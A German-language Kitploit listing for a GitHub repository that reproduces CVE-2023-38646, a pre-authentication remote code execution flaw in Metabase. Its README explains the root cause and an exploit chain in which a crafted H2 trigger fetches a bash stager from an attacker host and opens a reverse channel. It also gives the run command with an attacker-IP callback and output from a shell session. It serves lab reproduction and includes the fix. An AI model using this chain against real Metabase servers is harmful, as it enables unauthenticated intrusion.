Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
metabase-cve-2023-38646 — Das Repository enthält den PoC und die Schritte zur Reproduktion von cve 2023-38646 | Kitploit
Tools/GitHubGitHub/kushiro45/metabase-cve-2023-38646
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

Das Repository enthält den PoC und die Schritte zur Reproduktion von cve 2023-38646

Repository anzeigen
14vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — Metabase Remote-Code-Ausführung vor der Authentifizierung

Zusammenfassung

CVSS 9.8. Metabase-Versionen vor 0.46.6.1 / 1.46.6.1 (und entsprechende ältere Zweige) legen eine RCE ohne Authentifizierung über den Endpunkt /api/setup/validate offen, der dazu gedacht ist, Datenbankverbindungsdetails während der Ersteinrichtung zu validieren, aber auch nach abgeschlossener Einrichtung ohne Authentifizierung erreichbar ist.

Grundursache

Der Endpunkt akzeptiert eine Datenbankverbindungs-Payload und erlaubt, wenn engine: h2 mit einer manipulierten JDBC-Verbindungszeichenfolge angegeben wird, das Einbetten von beliebigem JavaScript über H2s CREATE TRIGGER ... AS $$//javascript-Syntax. Der Triggerkörper wird zum Validierungszeitpunkt ausgeführt und gibt dem Angreifer JavaScript-Ausführung innerhalb der JVM – was trivial zu Betriebssystembefehlsausführung via java.lang.Runtime.getRuntime().exec() eskaliert.

Das zugrundeliegende Problem ist, dass die H2-Datenbank-Engine in die Verbindungszeichenfolge eingebetteten Code als Teil der "Validierung" einer Datenquelle vertraut, kombiniert damit, dass Metabase diesen Validierungspfad vor der Authentifizierung bereitstellt.

Umgebung

  • Ziel: offizielles metabase/metabase:v0.46.6 Docker-Image
  • Angreiferwerkzeuge: Python 3, requests, termcolor
  • PoC-Quelle: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

Einrichtung

Vulnerable Metabase ausführen:

docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # warten auf "Metabase Initialization COMPLETE"

Abhängigkeiten für den Exploit installieren:

pip3 install requests termcolor

Exploit-Kette

  1. Setup-Token-Abruf — /api/session/properties gibt ein setup-token preis, das den einmaligen Ersteinrichtungsablauf abschirmen soll, aber auch nach Abschluss der Einrichtung gültig und verwendbar bleibt.
  2. Ausnutzbarkeitstest — Der Angreifer startet einen lokalen HTTP-Server; der manipulierte H2-Trigger veranlasst das Ziel, einen ausgehenden Rückruf an ihn zu senden, was die JS-Ausführung innerhalb der H2-Engine bestätigt.
  3. Befehlsausführung — Ein zweiter manipulierter Trigger verwendet java.lang.Runtime.getRuntime().exec(), um einen Bash-Stager vom HTTP-Server des Angreifers abzurufen und die Befehlsausgabe base64-kodiert über einen rohen TCP-Listener zurückzuleiten.

Ausführen

python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — IP des Angreifer-Rückrufs (Docker-Bridge-Gateway, wenn das Ziel ein lokaler Container ist, z. B. 172.17.0.1)
  • -p — Port, über den der umgekehrte Datenkanal zurückverbindet
  • -P — lokaler HTTP-Server-Port, der das Stager-Skript bereitstellt
  • -u — Ziel-Metabase-Basis-URL

Wechselt in eine interaktive metabase_shell >-Eingabeaufforderung, sobald der Pre-Auth-Rückruf die Ausnutzbarkeit bestätigt.

Ergebnis

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

Befehlsausführung als Dienstkonto metabase bestätigt — ohne Authentifizierung, keine Anmeldeinformationen erforderlich. Der Schweregrad ergibt sich aus der netzwerkerreichbaren RCE ohne Authentifizierung, nicht aus der Berechtigungsstufe der resultierenden Shell.

Behebung

Gepatcht in Metabase 0.46.6.1 / 1.46.6.1 und später — der Endpunkt /api/setup/validate erfordert jetzt, dass die Einrichtung tatsächlich unvollständig ist, und Setup-Token werden ungültig, sobald die Ersteinrichtung abgeschlossen ist.

Haftungsausschluss

Nur für isolierte Labornutzung. Nicht gegen Metabase-Instanzen ausführen, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Genehmigung haben.

Tool herunterladen